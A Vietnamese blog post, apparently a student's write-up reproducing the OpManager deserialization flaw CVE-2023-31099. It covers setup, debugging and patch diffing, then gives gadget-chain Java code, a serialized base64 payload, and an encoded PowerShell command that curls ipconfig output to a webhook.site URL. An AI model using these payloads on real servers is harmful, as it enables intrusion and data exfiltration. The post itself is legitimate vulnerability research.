Việc hôm nay chớ để 1DAY(CVE-2023-31099)

·

10 min read

I. Tản Mạn

Câu chuyện là mình đến kì đồ án, muốn thử sức build query Codeql nên mình quyết định poc 1 cái CVE để thêm vào báo cáo đồ án cho uy tín. Vậy thì tại sao không phải là 1 cái 1Day deserialize nhỉ ??

Một số điều về CVE-2023-31099:

Hình 1. Sơ đồ network của OP manager liên kết giữa Central-probe

—————————-Hình 1. Liên kết giữa probe và central—————————

Từ những thông tin về lỗ hổng và Hình 1, mình đoán lỗ hổng nằm ở việc giao tiếp giữa probe-central, và lỗ hổng sẽ nằm phía Central.

Do đó chúng ta cần phải có :

  • 1 bản probe để giao tiếp với central

  • 2 bản central: 1 bản central vuln và 1 patch diff để source.

Link download các bản:

https://archives3.manageengine.com/opmanager/126323/

https://archives3.manageengine.com/opmanager/126324/

II. Setup

Bước 1: Cài đặt 2 phiên bản OpManage Central 126323(vuln) và 126324(patch) ở 2 máy khác nhau để tránh bị ghi đè thư mục. Nếu việc cài đặt trơn tru, OP manager central của bạn sẽ được cài đặt ở port 8060 và 8061.

Bước 2: Cài đặt OpManage probe ở server nào cũng được. Khi cài đặt sẽ cần liên kết với 1 Central(ở đây là bản vuln 126323).

Bước 3: Để bắt được giao tiếp từ probe tới central, cần phải setup proxy cho gói tin giao tiếp đi qua burp. Thật may OpManage probe cũng hỗ trợ điều này khi cài đặt

Bước 4: Debug ftw

III. Setup Debug phía server

Setup debug thật sự làm khó mình. Đây là lần đầu tiên mình setup debug cho Java ( Thật ra là lần đầu setup debug không riêng gì Java). Ta sẽ xem xét các process của chương trình, xem xem config xuất phát từ đâu và chỉnh sửa nó.

Check qua Process Hacker ta thấy có process java.exe đang handle port 8061 được chạy. Nhấn chuột phải > Go to process. Có thể thấy Process này được spawn bởi Wrapper.exe.

Đọc command khi run process wrapper.exe đó thì thấy có load config từ file wrapper.conf. Xem file wrapper.conf thì thấy đúng là có các options java kèm theo của chương trình java.exe ở trên. Tiếp theo ta chỉ cần add thêm options để debug là được.

Có 2 options thường hay sử dụng để debug, đó là (tùy vào version Java):

1. -Xdebug
-Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n

2. -agentlib:jdwp=transport=dt_socket,address=5005,server=y,suspend=n

Mình chọn option 1. Sau khi thêm options debug vào và khởi động lại service, thấy có listen trên port 5005 là thành công.

IV. Setup debug phía Client

Bước 1: Xác định phiên bản Java Opmanage dùng

Đọc file setENV.bat nhận thấy java mà OPmanage sử dụng là Java 8.64.0.19-jdk8.0.345 của zulu

Bước 2: Lấy ra các file Jar mà OPmanage dùng (ở đây vì lười nên mình sẽ lấy hết bằng snippet code của anh K4ito).

import os
import shutil
import glob

def copy_jar_files(source_dir, dest_dir):
    # Create the destination directory if it doesn't exist
    if not os.path.exists(dest_dir):
        os.makedirs(dest_dir)

    # Recursively search for JAR files in the source directory and its subdirectories
    jar_files = glob.glob(os.path.join(source_dir, "**/*.jar"), recursive=True)

    for jar_file in jar_files:
        # Copy the JAR file to the destination directory
        # print(jar_file)
        if '\jre\\lib' in jar_file:
            print(jar_file+" in java")
        shutil.copy2(jar_file, dest_dir)
        print(f"Copied {jar_file} to {dest_dir}")


# Example usage
source_directory = "E:\Research\\1-day\CVE-2023-31099-ManageEngine_OpManager\OpManagerCentral126323\OpManagerCentral"
destination_directory = "E:\Research\Lab\Library\OpManager_126323"

copy_jar_files(source_directory, destination_directory)

Sau khi có hết các library file Jar vào 1 thư mục (ta gọi là thư mục Lib), ta sẽ thực hiện thêm 1 bước mapping source, ước này không cần làm vẫn có thể debug được bình thường (tuy nhiên mình recommend có bước này vì sẽ giúp chúng ta trace ngược code, sink → source, nếu không thì mình chỉ có thể trace xuôi, vì không có source code sẽ không thể sử dụng chức năng Find usages, Find text, … của IDEA).

Ở bước này, ta sẽ zip hết các file jar lại thành 1 file zip, sử dụng tool JD-GUI và open file zip đó. Để đẹp và debug được đúng dòng code, vào Help → Preferences và click chọn Realign line numbers và bỏ chọn Write original line numbers. Sau đó, chỉ cần chọn Save all sources, ta sẽ được 1 file zip của các file zip source. Extract file zip đó và ta sẽ được 1 folder chứa các file zip source gọi là folder Sources (phân biệt với folder Lib ở trên).

Bước 3: Bật IDEA IntelliJ và chọn New project và setup path của JDK trỏ vào thư mục Java của Zulu mà mình đã down ở trên.

Sau đó, chọn File → Project Structure → Libraries → + → Java

Nhớ tắt firewall nếu bạn dùng windows ở phía server

V. Diff patch

Ta sẽ diff dựa vào thư mục cài đặt của 2 server Central. Sử dụng công cụ MeldMerge để diff 2 thư mục và tool IDEA để diff 2 file.

Trước tiên ta sẽ đi diff các file JAR ở các CLASSPATH của chương trình. Sau khi mò mẫm thì thấy có file tên setEnv.bat có vẻ để set các biến môi trường, trong đó có các CLASSPATH.

Các bước diff patch mà mình thực hiện như sau:

  1. Diff các folder CLASSPATH này trước

  2. Diff các file có sự thay đổi

  3. Xem xét sự thay đổi có liên quan trực tiếp (key points) với mô tả lỗi không

  4. Quay lại bước 1

Sau khi không tìm thấy gì nữa thì mình sẽ xem thay đổi các file khác ngoài rìa như .conf, .properties,…

Kết quả khi diff patch folder classes

Sau khi diff hết các file JAR này, ta sẽ thấy key points của lỗ hổng này nằm ở file OpManagerDistribution.jar

Bên trái là bản vuln, bên phải là bản patch. Sau khi xem xét thì bản patch đã whitelist các class được quyền deserialize( thông qua classname)

VI. Analysis

Bắt đầu từ DataObject.getObjectData, trace ngược, ta có thể thấy 1 số source gọi đến sink này. Nhưng vì mình có kinh nghiệm ( đọc tất cả các source lab này 😢 ) nên mình đoán mình nên đi theo hướng SPPRegionalCommBE.

Để gọi được phương phức dataObject.getObjectData() cần phải call thông qua phương thức transferDataToNOC của class SPPRegionalCommBE

Trace thêm lần nữa có thể thấy phương thức transferDataToNOC kể trên được call khi có 1 gói Post call (class RegionalListener )

Đọc file web.xml có thể thấy được chúng ta cần Post tới /servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener

Quay trở lại file RegionalListener, có 1 dòng SetcClassName đang thực hiện whitelist để phòng tránh việc insecure deserialize. Vậy thì phải làm thế nào ??

Hãy flashback lại 1 chút vào sink dataObject.getObjectData(). Nơi mà chúng ta cần trigger là thuộc tính data ( byte[] ), ở đây không có có filter gì cả.

Sourcesink đã tìm được, bây giờ chúng ta sẽ đặt breakpoint để tìm điều kiện cần để source tới được sink . Đặt break point tại dòng 85 của file RegionalListener

Spam Step into , nhận thấy để tới được dòng 392 (sink) thì cần phải có dataObject.getNotificationType() == 24dataObject.getDataPriority() == 0 . Tuy nhiên hiện tại dataObject.getNotificationType()=0

Lúc này chúng ta cần dùng Java Reflection của Java để sửa thuộc tính hoặc tận dụng các phương thức public sẵn của class

Tiếp tục, để vào được nhánh If dòng 391 chúng ta cần phải sửa đổi thuộc tính userProps của dataObject (private Properties userProps) và thuộc tính Property của dataObject.getUserProperties() (vì hiện tại userProps đang là null)

Dưới đây là cả 4 câu lệnh để setup các biến đã nói ở trên

dataObject.setNotificationType(24)
dataObject.setDataPriority(0)
dataObject.setUserProperties(new Properties())
dataObject.getUserProperties().setProperty("regReqID","0")

Tiếp tục chúng ta cần !this.isDataEncrypted =truethis.object != null (đã thỏa mãn) để vào được nhánh else

Cuối cùng để tránh phải encrypt payload ở this.data ta cần phải set cho this.isDataEncrypted =false (đa thỏa mãn). Ngoài ra nhánh else ở dòng 248 thực hiện decompress this.data , điều đó có nghĩa là chúng ta cần phải compress this.data nếu muốn payload hoạt động đúng. Vừa hay ta chỉ cần dùng Java Reflection để thực hiện điều đó thông qua phương thức setByte của class DataObject

Hướng đi đã có, giờ là lúc để xây Payload

VII. Payload build

Soi tới soi lui ysoserial , mình quyết định thử combo CommonsBeanutils1 , lý do là vì OPmanage dùng cả 3 class commons-beanutils, commons-collections, commons-logging chỉ khác về version của 2 class commons-beanutils, commons-collections.

Với tinh thần sai đâu sửa đấy (từ anh LinhDD8 và anh K4it0), mọi người bảo mình cứ build payload bằng tool, sau đó xem version các file jar kia thay đổi gì thì tính tiếp.

Bước 1: add ysoserial-all.jar vào new Project , sau đó dùng script sau build payload

package payloadbuild;

import java.io.*;
import java.util.Base64;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

public class Payloadbuild {

    // Tạo object payload
    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        // Mock method name until armed
        final BeanComparator comparator = new BeanComparator("lowestSetBit");

        // Create queue with numbers and basic comparator
        final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);

        // Stub data for replacement later
        queue.add(new BigInteger("1"));
        queue.add(new BigInteger("1"));

        // Switch method called by comparator
        Reflections.setFieldValue(comparator, "property", "outputProperties");

        // Switch contents of queue
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = templates;
        queueArray[1] = templates;

        return queue;
    }

    // Serialize object and encode as Base64 string
    public String serializeToBase64(Object object) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(object); // Serialize object to byte array
            oos.flush();
            return Base64.getEncoder().encodeToString(baos.toByteArray()); // Encode bytes to Base64
        }
    }

    // Decode Base64 string and deserialize object
    public Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String); // Decode Base64 to byte array
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject(); // Deserialize object from byte array
        }
    }

    public static void main(final String[] args) throws Exception {
        Payloadbuild payloadBuild = new Payloadbuild();

        // Generate payload object
        Object object = payloadBuild.getObject("calc.exe");

        // Serialize object to Base64 string
        String base64Payload = payloadBuild.serializeToBase64(object);
        System.out.println("Serialized Payload (Base64):");
        System.out.println(base64Payload);

        // Deserialize object from Base64 string
//        Object deserializedObject = payloadBuild.deserializeFromBase64(base64Payload);
//        System.out.println("Deserialized Object:");
//        System.out.println(deserializedObject);
    }
}

Ta nhận được đoạn base64

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpzK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMAEAH0x5c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

Bước 2: add 3 class commons-beanutils-1.9.4.jar , commons-collections4-4.3.jar, commons-logging-1.2.jar sau đó bỏ ysoserial-all.jar khỏi các lib import. Rồi dùng script dưới đây:

package payloadbuild;

import java.io.*;
import java.util.Base64;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;


public class Payloadbuild {
//
//    // Tạo object payload
//    public Object getObject(final String command) throws Exception {
//        final Object templates = Gadgets.createTemplatesImpl(command);
//
//        // Mock method name until armed
//        final BeanComparator comparator = new BeanComparator("lowestSetBit");
//
//        // Create queue with numbers and basic comparator
//        final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
//
//        // Stub data for replacement later
//        queue.add(new BigInteger("1"));
//        queue.add(new BigInteger("1"));
//
//        // Switch method called by comparator
//        Reflections.setFieldValue(comparator, "property", "outputProperties");
//
//        // Switch contents of queue
//        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
//        queueArray[0] = templates;
//        queueArray[1] = templates;
//
//        return queue;
//    }

    // Serialize object and encode as Base64 string
    public String serializeToBase64(Object object) throws IOException {
        try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(object); // Serialize object to byte array
            oos.flush();
            return Base64.getEncoder().encodeToString(baos.toByteArray()); // Encode bytes to Base64
        }
    }

    // Decode Base64 string and deserialize object
    public Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
        byte[] data = Base64.getDecoder().decode(base64String); // Decode Base64 to byte array
        try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
             ObjectInputStream ois = new ObjectInputStream(bais)) {
            return ois.readObject(); // Deserialize object from byte array
        }
    }

    public static void main(final String[] args) throws Exception {
        Payloadbuild payloadBuild = new Payloadbuild();

        // Deserialize object from Base64 string
        Object deserializedObject = payloadBuild.deserializeFromBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABpzK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAIY2FsYy5leGUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMAEAH0x5c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==");
    }
}

Ta nhân được lỗi là không tìm được class org.apache.commons.collections.comparators.ComparableComparator.

Tuy nhiên code gen payload của chúng ta mới chỉ sử dụng import org.apache.commons.beanutils.BeanComparator, nên rất có thể BeanComparator đã thực hiện import org.apache.commons.collections.comparators.ComparableComparator nhưng không thành.

Thật vậy, nhảy vào class BeanComparator , ta phát hiện ra BeanComparator đã thực hiện import org.apache.commons.collections.comparators.ComparableComparator. nhưng commons-collections4-4.3.jar lại chỉ có packet org.apache.commons.collections4

Bước 3: Gen lại payload (this.data) + kiểm tra việc thực thi

Bước 4: Tạo Payload để endgame. Không rõ vì sao payload calc.exe chạy ở máy attacker thì đc máy server k được nên mình quyết định dùng payload

powershell.exe -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACIAaQBwAGMAbwBuAGYAaQBnACAAfAAgAGMAdQByAGwAIAAtAFgAIABQAE8AUwBUACAAIAAtAC0AZABhAHQAYQAtAGIAaQBuAGEAcgB5ACAAQAAtACAAaAB0AHQAcABzADoALwAvAHcAZQBiAGgAbwBvAGsALgBzAGkAdABlAC8AYgAxADcANgA3ADAANgA3AC0AMwA2ADEAMwAtADQAMAAzAGMALQBhADkAOQA0AC0AMwBlADUAYQA1ADIANQAxADEANABkADAAIgA=

Sau khi gửi payload tới server, RCE thành công


Cảm ơn ông anh K4it0 đã hướng dẫn thằng em👌